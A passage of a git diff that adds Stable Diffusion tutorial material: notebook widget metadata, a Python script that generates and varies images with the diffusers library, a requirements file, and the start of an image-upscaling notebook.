+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fc5d5de2233543eba400877e7891977a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fe3c4a4e4c8b4752a1f1d88da73fb808": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ff0910f0831b49ac9faaba1e70c275dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ff35f85d2db0404da5e01fbda308197a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_34714076cb4b479eab2c5ec6a6c7d50e",
+            "max": 1719312805,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_22d3e015ffd24db8aa145fab92c1901c",
+            "value": 1719312805
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/stable-diffusion-models/README.md b/machine-learning/stable-diffusion-models/README.md
new file mode 100644
index 00000000..322e7759
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/README.md
@@ -0,0 +1 @@
+# [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python)
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py
new file mode 100644
index 00000000..1edeccc6
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/generate_images_from_text_stablediffusion.py
@@ -0,0 +1,372 @@
+# %%
+%pip install --quiet --upgrade diffusers transformers accelerate
+
+# %%
+# The xformers package is mandatory to be able to create several 768x768 images.
+%pip install -q xformers==0.0.16rc425
+
+# %% [markdown]
+# # Using Dreamlike Photoreal
+
+# %%
+from diffusers import StableDiffusionPipeline
+import torch
+
+# %%
+model_id = "dreamlike-art/dreamlike-photoreal-2.0"
+pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)
+pipe = pipe.to("cuda")
+
+# %%
+prompts = ["Cute Rabbit, Ultra HD, realistic, futuristic, sharp, octane render, photoshopped, photorealistic, soft, pastel, Aesthetic, Magical background",
+           "Anime style aesthetic landscape, 90's vintage style, digital art, ultra HD, 8k, photoshopped, sharp focus, surrealism, akira style, detailed line art",
+           "Beautiful, abstract art of a human mind, 3D, highly detailed, 8K, aesthetic"]
+
+images = []
+
+# %%
+for i, prompt in enumerate(prompts):
+    image = pipe(prompt).images[0]
+    image.save(f'result_{i}.jpg')
+    images.append(image)
+
+# %%
+images[0]
+
+# %%
+images[1]
+
+# %%
+images[2]
+
+# %% [markdown]
+# # Manually working with the different components
+
+# %%
+import torch
+from torch import autocast
+import numpy as np
+
+from transformers import CLIPTextModel, CLIPTokenizer
+
+from diffusers import AutoencoderKL
+from diffusers import LMSDiscreteScheduler
+from diffusers import UNet2DConditionModel
+from diffusers.schedulers.scheduling_ddim import DDIMScheduler
+
+from tqdm import tqdm
+from PIL import Image
+
+# %%
+class ImageDiffusionModel:
+
+    def __init__(self, vae, tokenizer, text_encoder, unet, 
+                 scheduler_LMS, scheduler_DDIM):
+        self.vae = vae
+        self.tokenizer = tokenizer
+        self.text_encoder = text_encoder
+        self.unet = unet
+        self.scheduler_LMS = scheduler_LMS
+        self.scheduler_DDIM = scheduler_DDIM
+        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+    
+    
+    def get_text_embeds(self, text):
+        # tokenize the text
+        text_input = self.tokenizer(text, 
+                                    padding='max_length', 
+                                    max_length=tokenizer.model_max_length, 
+                                    truncation=True, 
+                                    return_tensors='pt')
+        # embed the text
+        with torch.no_grad():
+            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+
+        return text_embeds
+
+    def get_prompt_embeds(self, prompt):
+        # get conditional prompt embeddings
+        cond_embeds = self.get_text_embeds(prompt)
+        # get unconditional prompt embeddings
+        uncond_embeds = self.get_text_embeds([''] * len(prompt))
+        # concatenate the above 2 embeds
+        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])
+        return prompt_embeds
+
+    def get_img_latents(self, 
+                        text_embeds, 
+                        height=512, width=512, 
+                        num_inference_steps=50, 
+                        guidance_scale=7.5, 
+                        img_latents=None):
+        # if no image latent is passed, start reverse diffusion with random noise
+        if img_latents is None:
+            img_latents = torch.randn((text_embeds.shape[0] // 2, self.unet.in_channels,\
+                                       height // 8, width // 8)).to(self.device)
+        # set the number of inference steps for the scheduler
+        self.scheduler_LMS.set_timesteps(num_inference_steps)
+        # scale the latent embeds
+        img_latents = img_latents * self.scheduler_LMS.sigmas[0]
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(self.scheduler_LMS.timesteps)):
+                # do a single forward pass for both the conditional and unconditional latents
+                latent_model_input = torch.cat([img_latents] * 2)
+                sigma = self.scheduler_LMS.sigmas[i]
+                latent_model_input = latent_model_input / ((sigma ** 2 + 1) ** 0.5)
+                
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']
+
+                # separate predictions for unconditional and conditional outputs
+                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)
+                # perform guidance
+                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                img_latents = self.scheduler_LMS.step(noise_pred, t, img_latents)['prev_sample']
+
+        return img_latents
+
+
+    def decode_img_latents(self, img_latents):
+        img_latents = img_latents / 0.18215
+        with torch.no_grad():
+            imgs = self.vae.decode(img_latents)["sample"]
+        # load image in the CPU
+        imgs = imgs.detach().cpu()
+        return imgs
+
+
+
+    def transform_imgs(self, imgs):
+        # transform images from the range [-1, 1] to [0, 1]
+        imgs = (imgs / 2 + 0.5).clamp(0, 1)
+        # permute the channels and convert to numpy arrays
+        imgs = imgs.permute(0, 2, 3, 1).numpy()
+        # scale images to the range [0, 255] and convert to int
+        imgs = (imgs * 255).round().astype('uint8')        
+        # convert to PIL Image objects
+        imgs = [Image.fromarray(img) for img in imgs]
+        return imgs
+        
+    
+    
+    def prompt_to_img(self, 
+                      prompts, 
+                      height=512, width=512, 
+                      num_inference_steps=50, 
+                      guidance_scale=7.5, 
+                      img_latents=None):
+        
+        # convert prompt to a list
+        if isinstance(prompts, str):
+            prompts = [prompts]
+        
+        # get prompt embeddings
+        text_embeds = self.get_prompt_embeds(prompts)
+
+        # get image embeddings
+        img_latents = self.get_img_latents(text_embeds,
+                                      height, width,
+                                      num_inference_steps,
+                                      guidance_scale, 
+                                      img_latents)
+        # decode the image embeddings
+        imgs = self.decode_img_latents(img_latents)
+        # convert decoded image to suitable PIL Image format
+        imgs = self.transform_imgs(imgs)
+
+        return imgs
+
+
+
+    def encode_img_latents(self, imgs):
+        if not isinstance(imgs, list):
+            imgs = [imgs]
+        
+        imgs = np.stack([np.array(img) for img in imgs], axis=0)
+        # scale images to the range [-1, 1]
+        imgs = 2 * ((imgs / 255.0) - 0.5)
+        imgs = torch.from_numpy(imgs).float().permute(0, 3, 1, 2)
+
+        # encode images
+        img_latents_dist = self.vae.encode(imgs.to(self.device))
+        # img_latents = img_latents_dist.sample()
+        img_latents = img_latents_dist["latent_dist"].mean.clone()
+        # scale images
+        img_latents *= 0.18215
+
+        return img_latents
+
+
+    def get_img_latents_similar(self,
+                                img_latents,
+                                text_embeds, 
+                                height=512, width=512, 
+                                num_inference_steps=50, 
+                                guidance_scale=7.5,
+                                start_step=10):        
+        
+        # set the number of inference steps for the scheduler
+        self.scheduler_DDIM.set_timesteps(num_inference_steps)
+
+        if start_step > 0:
+            start_timestep = self.scheduler_DDIM.timesteps[start_step]
+            start_timesteps = start_timestep.repeat(img_latents.shape[0]).long()
+
+            noise = torch.randn_like(img_latents)
+            img_latents = scheduler_DDIM.add_noise(img_latents, noise, start_timesteps)
+        
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(self.scheduler_DDIM.timesteps[start_step:])):
+                # do a single forward pass for both the conditional and unconditional latents
+                latent_model_input = torch.cat([img_latents] * 2)
+                
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(latent_model_input, t, encoder_hidden_states=text_embeds)['sample']
+
+                # separate predictions for unconditional and conditional outputs
+                noise_pred_uncond, noise_pred_cond = noise_pred.chunk(2)
+                # perform guidance
+                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_cond - noise_pred_uncond)
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                img_latents = self.scheduler_DDIM.step(noise_pred, t, img_latents)['prev_sample']
+
+        return img_latents
+
+    
+    def similar_imgs(self, 
+                     img, 
+                     prompt, 
+                     height=512, width=512,
+                     num_inference_steps=50, 
+                     guidance_scale=7.5,
+                     start_step=10):
+        
+        # get image latents
+        img_latents = self.encode_img_latents(img)
+
+        if isinstance(prompt, str):
+            prompt = [prompt]
+
+        text_embeds = self.get_prompt_embeds(prompt)
+        
+        img_latents = self.get_img_latents_similar(img_latents=img_latents,
+                                                   text_embeds=text_embeds,
+                                                height=height, width=width,
+                                                num_inference_steps=num_inference_steps,
+                                                guidance_scale=guidance_scale,
+                                                start_step=start_step) 
+
+        imgs = self.decode_img_latents(img_latents)
+        imgs = self.transform_imgs(imgs)
+        # Clear the CUDA cache
+        torch.cuda.empty_cache()
+
+        return imgs
+
+
+# %%
+device = 'cuda'
+
+# model_name = "dreamlike-art/dreamlike-photoreal-2.0"
+model_name = "CompVis/stable-diffusion-v1-4"
+# Load autoencoder
+vae = AutoencoderKL.from_pretrained(model_name, 
+                                    subfolder='vae').to(device)
+
+# Load tokenizer and the text encoder
+tokenizer = CLIPTokenizer.from_pretrained(model_name, subfolder="tokenizer")
+text_encoder = CLIPTextModel.from_pretrained(model_name, subfolder="text_encoder").to(device)
+
+# Load UNet model
+unet = UNet2DConditionModel.from_pretrained(model_name, subfolder='unet').to(device)
+
+# Load scheduler
+scheduler_LMS = LMSDiscreteScheduler(beta_start=0.00085, 
+                                 beta_end=0.012, 
+                                 beta_schedule='scaled_linear', 
+                                 num_train_timesteps=1000)
+
+scheduler_DDIM = DDIMScheduler(beta_start=0.00085, 
+                               beta_end=0.012, 
+                               beta_schedule='scaled_linear', 
+                               num_train_timesteps=1000)
+
+# %%
+model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompts = ["A really giant cute pink barbie doll on the top of Burj Khalifa", 
+           "A green, scary aesthetic dragon breathing fire near a group of heroic firefighters"]
+
+imgs = model.prompt_to_img(prompts)
+
+# %%
+imgs[0]
+
+# %%
+imgs[1]
+
+# %%
+prompt = ["Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"]
+
+imgs = model.prompt_to_img(prompt)
+
+imgs[0]
+
+# %%
+# saving the image
+imgs[0].save("spaceship1.png")
+
+# %%
+# loading the image again
+original_img = Image.open("spaceship1.png")
+original_img
+
+# %%
+import torch
+import gc
+
+### If you get OOM errors, execute this cell
+# del model
+# Clear the CUDA cache 
+torch.cuda.empty_cache()
+gc.collect()
+torch.cuda.empty_cache()
+
+# %%
+!nvidia-smi
+
+# %%
+model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompt = "Aesthetic star wars spaceship with an aethethic background, Ultra HD, futuristic, sharp, octane render, neon"
+
+imgs = model.similar_imgs(original_img, prompt, num_inference_steps=50, start_step=30)
+imgs[0]
+
+# %%
+# model = ImageDiffusionModel(vae, tokenizer, text_encoder, unet, scheduler_LMS, scheduler_DDIM)
+
+prompt = "Aesthetic dark star wars spaceship, Ultra HD, futuristic, sharp, octane render, neon"
+
+imgs = model.similar_imgs(original_img, prompt,
+                          num_inference_steps=50,
+                          start_step=40)
+imgs[0]
+
+# %%
+
+
+# %%
+
+
+# %%
+
+
+
diff --git a/machine-learning/stable-diffusion-models/requirements.txt b/machine-learning/stable-diffusion-models/requirements.txt
new file mode 100644
index 00000000..9033779d
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/requirements.txt
@@ -0,0 +1,4 @@
+diffusers
+transformers
+accelerate
+xformers==0.0.16rc425
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/README.md b/machine-learning/stable-diffusion-upscaler/README.md
new file mode 100644
index 00000000..3ae8e02d
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/README.md
@@ -0,0 +1 @@
+# [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface)
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..3fdee1e8
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/SDUpscaler_PythonCodeTutorial.ipynb
@@ -0,0 +1,7341 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "-C875CYSCygt",
+        "outputId": "dd991ed9-d57f-4e5b-bee3-bcb6882369d9"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install -qU diffusers transformers accelerate scipy safetensors"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "mAHWEPSfUlmg"
+      },
+      "source": [
+        "# Hugging Face Implementation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "jor1D7LvDA9l"
+      },
+      "outputs": [],
+      "source": [
+        "import requests\n",
+        "from PIL import Image\n",
+        "from io import BytesIO\n",
+        "from diffusers import StableDiffusionUpscalePipeline\n",
+        "import torch"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 465,
+          "referenced_widgets": [
+            "bc72d593b56c42899ff4779e92bcf818",
+            "cabab037d12a455bbd283477e481d4ca",
+            "7cdde9f1b0f1403ababc0e3e120617c4",
+            "28c075d27bf8437c99b4fa8091d4d2c0",
+            "7c5bcff9ea9344dca52dbaa4a6545b50",
+            "2b68707a9749479cab4b4ecd124d87cb",
+            "e7274e83d2c44080bbbb2fc5ec79dfee",
+            "238d055bf5ff4891b2e9c6aa28a89fad",
+            "66a8f48777064cab94ebdfb44044fec7",
+            "c883ad6804cd4f628494b1eb7f432e51",
+            "6f1c7458863047598f98861765f325dd",
+            "6d0c44b7df564b87a2a688d770188184",
+            "502d0b0ef4c549b485c049a2dae9b4f1",
+            "67e1ee8ac39743d2a50db01595591f22",
+            "419cb861b6e84999a3708fd19b0295c6",
+            "fcc7b1147ad94a01ae49b4268e85d310",
+            "f931614414ba46adaab4c0522e65ebf8",
+            "e926a97d3f6149318dd6f01d17e90dd5",
+            "58bccc7add0a45d8b8640c42d89a864c",
+            "b4209eed23cb45038a5c614bfe8bf3b6",
+            "2e922ee442bc49f8b0d7d4bd79d92683",
+            "4d9d00362c1c4f48b5cddc1783956732",
+            "8d91958b962649479d9d85927ea0e3e0",
+            "2f1c260b17204c08870bac68408944c4",
+            "9f17b8692b824c0cb9a98cea381699a9",
+            "9a8c5af4272b4da0ba4aafa4da89817b",
+            "e04b95f508b7431c9f4ee9159e3b5b13",
+            "5896923dddc0466a9023c09c738f404a",
+            "f874ed5ecd6f4eed976ed24b0be4ae51",
+            "cdcf280e7a3043c2a1d59e0eea379d96",
+            "2e945d3f81204a538874a0a832102d15",
+            "417a14ed83ba4535bf47a39b9298aa4f",
+            "c797a3a49d1d44598e8810817eac04f6",
+            "659bd00aed7f4a41a843432966a1ccbf",
+            "274e736175d34926a0c614192288e510",
+            "a266a0d0bdde4a3aa09fec6a0a00abed",
+            "f78f911cd0ac4cdc8fdcbcb29f1a201b",
+            "9e0fde0538f84469bd62e9ea9f589b4f",
+            "bce74d8ba4dd4a35bd276ba2dbf0ffd1",
+            "f24b18d71065474a9f169b4fd66898f6",
+            "bc60bbefdc2a490588dd8f58327fd264",
+            "3119598ffcab4d6f9d1642ee595736ee",
+            "90c7965cfde540158d9e7cb049c2d7d3",
+            "b991b21d18ec471fb18b291a0c10aa6e",
+            "76fd2fe6247a48b7b3a6cc6eef8c9fa7",
+            "29da49469545454997e755839f8c156d",
+            "58aa60b3b1af45d2bdd8870dedd3cb67",
+            "f931d10a75ab4aafb1d6b92a0ba622b3",
+            "b67319578dc84245ad16cb8d25d3173c",
+            "d62c5143fa1544ba9e2d22555dc6c3f9",
+            "ba72519befe047eabb826d1f7ec0e39c",
+            "e76b29381c114f808b3454fb122e8d10",
+            "a1d133bc8fe344e2aed80fe5155177c3",
+            "5d3f04417ce64f80a2843e74bf6208f7",
+            "341fa26d73394e6cb71498a9c95b458c",
+            "6030f4bc6af8461abdc66e4599ef3f1f",
+            "818b00fb8ff04eadb9ccd1bdfe192807",
+            "44480a036c3c4442baa95d6288e83546",
+            "50949912a3ee403e8ddb328e62b61c0d",
+            "8dd862f24b164fc68664c30b3d241e62",
+            "aea53b42c35947c58d2c113bd2043078",
+            "02ce6e12de0f4ff1ab8029cf16e5fb99",
+            "520e09d44ecf488b93694eebe4a02147",
+            "5959385589b344b2bd8fc108067db8a3",
+            "b5a46aec8d594d02b618b9d59e4f4518",
+            "9ee85e252d32428ea44a91c71cd62a36",
+            "bfc87d61a154451294fa790fc30075ea",
+            "c8cabf1d8ffe421296725d8494ba0d3b",
+            "28fe7cfc4f4048eca1120a7228dcd629",
+            "9ecd3535823549bbbcbf3f131704d3eb",
+            "03b9fb0d0fa44ac8bf1a6aa678ff82c8",
+            "59b6eeeaf9464da891bf214ef1bbb7c2",
+            "7d3baaa3ab784895a59534261f43ce7d",
+            "8f487d06f9834f1b8dd0a63ffec62436",
+            "ee5e249b357649ab95d493d940bc3b01",
+            "9af01c4399c74223b5d7f94bd48d6952",
+            "aa44d82861804483b44e0f893b698b72",
+            "b7aa53a4de824d7fbec2a07c1771bc24",
+            "17c87915e01b4d2fa79042759bf1a57d",
+            "bafabfceff6e4f76b900878a4077337e",
+            "5d1c6a49ce6f4596946a2fd91bec3312",
+            "795329002e034ec4aead224cf74ea361",
+            "29fb67ab990343b6a374b35718b8a6c1",
+            "0854db4c71b449a9b15e994a38a1ca13",
+            "cd437bc3e2194f1a8c5e83ec98745b58",
+            "18ba1c9da9714f2494c06570e4dc1d64",
+            "085ee070cea44624806bcc7ada5ae36e",
+            "45148fd42fdb47b3a5424faa3c488c25",
+            "fb2398f1e5ff43f7a2f81bd51bf58e2a",
+            "53fa5e54123446199d57c27c3ee8b091",
+            "07a431a9456648b6bcbfa899ee0014ac",
+            "2f972961c0eb411ca45b8af05cc05e3b",
+            "6525d3514cee42f3bd14bdf898b63ad2",
+            "c8ba37c669974bbea2face17223d2bb4",
+            "c87c0b939bbe4e56b46fca4aa580f75a",
+            "639d6afb1b0440f98ce7e26cb621a111",
+            "7a9ce1cc3d71457797b0b1ca2831d514",
+            "c826a36c99ae462abccdc59266c404d3",
+            "5ef86b91d359434a9aa4787dc727cb1b",
+            "62bd9e1add374b9e90c54275bd2e0449",
+            "0d89ddfa9593441097ce8e42614ef775",
+            "e85ceff770654ef1bd935f54ca32ee07",
+            "d0716d01bfdf43ba88f8bbfd63d3285a",
+            "f6579ff0c08648309711a654ec3de748",
+            "665a3a25e6d543d79e2e321aec4954aa",
+            "d3971f94fa5f433580509a27ce3ad017",
+            "d801dfb1d399475e995ca9106f9b3a4d",
+            "ed75698d0ffe4bcf886c72d276bbee17",
+            "a9ab859e76814985877a4bacdb04e95a",
+            "1df97f1113c34b7eb89c7d1c6a81b3bd",
+            "fc9a8403148c431e8b0200d40c6efcb7",
+            "8b24a6ee676942ddaa27f44902ef2ac5",
+            "5b74c15d312f404e88323771b08b0aeb",
+            "7ad5acf646b44af2a1d8558abbb59199",
+            "d22523983b9a4c71a3057f3a281895ee",
+            "c081010577e7490eae450d69b0458a74",
+            "d011d28093544ae692f90a7380908275",
+            "a25cd36e4deb410f9ee54a92a18c939c",
+            "00cdbd64ce7d4b5a835a550ffc6b3510",
+            "7cc78829c6b744c380f52af44b49802a",
+            "03856828685f4f9791a0c00f9b4f5ed5",
+            "80aad8d6ac1b4b7780cd63deed9ceb11",
+            "0fcb664708324ec1bc56c4daa4a2dd15",
+            "37e24969e35c4099933ab57fac8b2599",
+            "efb86ed04a0d477794e70dc92219399b",
+            "3672f34ff79b417abb390592a3b9ed2b",
+            "5af1c44c0f434510abd7fe9d76f263da",
+            "895dd88b169e4688a51873bb1b3d2cd9",
+            "d3165abbffbc4da3bd4f0cb6f3437140",
+            "5a1be5246f2443858bd6933a89a68389",
+            "10d895cb5166417fa2b4cc0d2feb7b6f",
+            "23b55638314c4e2b967f85ab40042a6c",
+            "9c741e36450b4c66875df9dc3ba07507",
+            "cd9c9d32567f4e5aa9291f66b08490bf",
+            "c4995db7a62844b4a00daaf55847cabd",
+            "72fc113c125648538df5059fb578ae19",
+            "3943882166bb4470a800d9563f9e53a2",
+            "ad07cccdd8d44a9ab5e3458e8d902ac6",
+            "ff88d9a5f7d64ad7bb0f09f6c71543f1",
+            "080c7086e8684bb3bb857d23f426d5dd",
+            "37e74a92120d40ab99b8a3efeb397bd8",
+            "9ba492d205294bc0a8d07985ed271358",
+            "0a49275d970741f9b19f24569b80491a",
+            "4178b1767a614f89aa62f12a4e3a7350",
+            "c909bafccc65402fa93afea87f1b784e",
+            "6c32232cfb734ac3a3204a22c414fc18",
+            "1f37677826544166a0b63d36c9c3edac",
+            "a4d93e9fee48468281afac25f551806c",
+            "91f32130b9fc47ceaae99521c0b70015",
+            "e8bec5477f7c43c1a55c852ef8b7cb95",
+            "7a4e5fdddcd34b6cb658b94db24ba474",
+            "e6942466051e4a6a97c36b56d8d4e0c2",
+            "a8dbb00149f148ceaee2474c4304c902",
+            "f3c0042a67e34e72b1088b60c11ba2d0"
+          ]
+        },
+        "id": "l3QZf9-UDEb0",
+        "outputId": "d2d9ea4c-1665-431b-c71c-bc5441522721"
+      },
+      "outputs": [],
+      "source": [
+        "# load model and scheduler\n",
+        "model_id = \"stabilityai/stable-diffusion-x4-upscaler\"\n",
+        "pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n",
+        "pipeline = pipeline.to(\"cuda\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "1rZBf5X4VfbQ"
+      },
+      "outputs": [],
+      "source": [
+        "def get_low_res_img(url, shape):\n",
+        "    response = requests.get(url)\n",
+        "    low_res_img = Image.open(BytesIO(response.content)).convert(\"RGB\")\n",
+        "    low_res_img = low_res_img.resize(shape)\n",
+        "    return low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "VSWlrXyIDGSo",
+        "outputId": "1153aadd-bcc2-4365-9ce8-b02590018e49"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n",
+        "shape = (200, 128)\n",
+        "low_res_img = get_low_res_img(url, shape)\n",
+        "\n",
+        "low_res_img"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "c1dc0d80451c4d098f16eb6ec7eed752",
+            "d4c5db5f7ffe42beb2065e14cbdd755d",
+            "accd8a5f56cf41c5af297f8bf93f7058",
+            "824b0b410fed4ea1b5bc7f88236fc3e8",
+            "a6b2ca41ffb24b9193a83fd9a4c24a8c",
+            "bc9783a6d9d0437b881b01cad81c0173",
+            "9e5ef9fe15314ce3bf13e61994851485",
+            "ed9e0cfb4635476f9e31c5b48aeafde8",
+            "396aee75c5954aa9b634d79c18177977",
+            "c5f787d7f16542baa5a5657c3ecb14a0",
+            "be0a3bc217b04b2dbd06a90141c0dd35"
+          ]
+        },
+        "id": "hPtKNnwSDA_u",
+        "outputId": "60b2259e-02a0-445d-da26-eca1d51b4181"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an aesthetic kingfisher\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 561,
+          "referenced_widgets": [
+            "9c2ff534109548fc8cab92f3b0aefc71",
+            "e417a487b9ab44d68bf5d4155f4ff339",
+            "ce0bc6a269b841e59b3c1b00796b8605",
+            "b014fb9554fb4f61a8d44135a6ad4954",
+            "c30445a77e81411bbad4f90b8c54bc35",
+            "c2ccf29c76d1461c8e820cdd1091684a",
+            "42248bb1fb38481eaa292dbca2d68e38",
+            "ac71f4fe6e804f19b2529c82e5a42049",
+            "518150c24b25401d92cf483e5ecb0253",
+            "d612163ad6d24d91a6d7ee758d8d6367",
+            "ab1c2c3e457944acb16508cf7a721290"
+          ]
+        },
+        "id": "I1hCWlwXU5ij",
+        "outputId": "fca3425e-973a-4951-df52-6eebba1b96e3"
+      },
+      "outputs": [],
+      "source": [
+        "prompt = \"an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth\"\n",
+        "upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]\n",
+        "upscaled_image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 529
+        },
+        "id": "4H0IkHfuDBB5",
+        "outputId": "1fceb2fc-7e6c-492f-fc5b-cbd6d64f3d65"
+      },
+      "outputs": [],
+      "source": [
+        "upscaled_interpolation = low_res_img.resize((800, 512))\n",
+        "upscaled_interpolation"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 145
+        },
+        "id": "xxVVHJAeDBEM",
+        "outputId": "f099d0db-89ef-49df-92f1-c01c861634e2"
+      },
+      "outputs": [],
+      "source": [
+        "url = \"https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg/"\n",
+        "shape = (200, 128)\n",
